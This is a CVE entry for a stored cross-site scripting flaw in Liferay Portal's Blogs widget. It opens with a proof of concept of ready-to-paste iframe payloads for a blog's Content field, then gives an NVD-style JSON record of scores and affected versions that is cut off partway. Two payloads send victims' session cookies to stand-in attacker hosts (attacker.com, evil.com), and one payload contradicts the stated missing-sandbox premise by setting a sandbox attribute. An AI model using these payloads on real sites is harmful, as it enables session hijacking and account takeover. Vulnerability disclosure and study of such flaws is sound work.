CVE-2025-62265

<!-- CVE-2025-62265 PoC: Stored XSS via iframe without sandbox attribute --> <!-- This PoC demonstrates how to inject malicious iframe into Liferay Blogs Content field --> <!-- Step 1: Create a blog entry with malicious iframe in Content field --> <!-- Insert the following payload in the Blog's Content text field: --> <iframe src="javascript:alert(document.cookie)" width="0" height="0" style="display:none"></iframe> <!-- Or more sophisticated payload --> <iframe src="data:text/html,<script>fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie))</script>" sandbox="allow-scripts allow-same-origin"></iframe> <!-- Step 2: When victim views the blog, the script executes --> <!-- The iframe can access parent page context due to missing sandbox attribute --> <!-- Example: Stealing session tokens --> <iframe src="javascript:(function(){var x=document.createElement('img');x.src='https://evil.com/log?c='+encodeURIComponent(document.cookie);document.body.appendChild(x)})()" style="visibility:hidden"></iframe>

{"cve": {"id": "CVE-2025-62265", "sourceIdentifier": "[email protected]", "published": "2025-10-30T19:16:35.490", "lastModified": "2025-11-11T01:58:54.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site scripting (XSS) vulnerability in the Blogs widget in Liferay Portal 7.4.0 through 7.4.3.111, and older unsupported versions, and Liferay DXP 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.8, 7.4 GA through update 92, 7.3 GA through update 36, and older unsupported versions allows remote attackers to inject arbitrary web script or HTML via a crafted <iframe> injected into a blog entry's “Content” text field \n\nThe Blogs widget in Liferay DXP does not add the sandbox attribute to <iframe> elements, which allows remote attackers to access the parent page via scripts and links in the frame page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.4", "matchCriteriaId": "5F7BCC0B-5F36-4E6B-AABE-61B88E9A99D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.1:*:*:*:*:*:*:*", "matchCriteriaId": "1EF6451A-2A5D-4222-A1C6-113AA4B8D4E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.2:*:*:*:*:*:*:*", "matchCriteriaId": "9D6CE430-3C95-4855-BA44-E2E136D1FEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.3:*:*:*:*:*:*:*", "matchCriteriaId": "44FEB149-C792-493D-B055-568FFC96298A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.4:*:*:*:*:*:*:*", "matchCriteriaId": "B050DD73-71B6-46CD-A35B-7ACB53BE6C6A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.5:*:*:*:*:*:*:*", "matchCriteriaId": "62432289-E1DC-4013-85C7-6B77299A910F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.6:*:*:*:*:*:*:*", "matchCriteriaId": "0912EEFE-DC56-43F6-AE0E-A4E2A033F3C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.7:*:*:*:*:*:*:*", "matchCriteriaId": "9398F679-5F47-4DF2-AA91-4A21126675C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q3.8:*:*:*:*:*:*:*", "matchCriteriaId": "8296B54A-976A-404C-AB77-0619E4297A69"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q4.0:*:*:*:*:*:*:*", "matchCriteriaId": "B5CE3202-2723-44A6-B63F-061138287FDA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:2023.q4.1:*:*:*:*:*:*:*", "matchCriteriaId": "A27A8480-7EE1-4265-9117-D6C234ACAC5F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lif ... (truncated)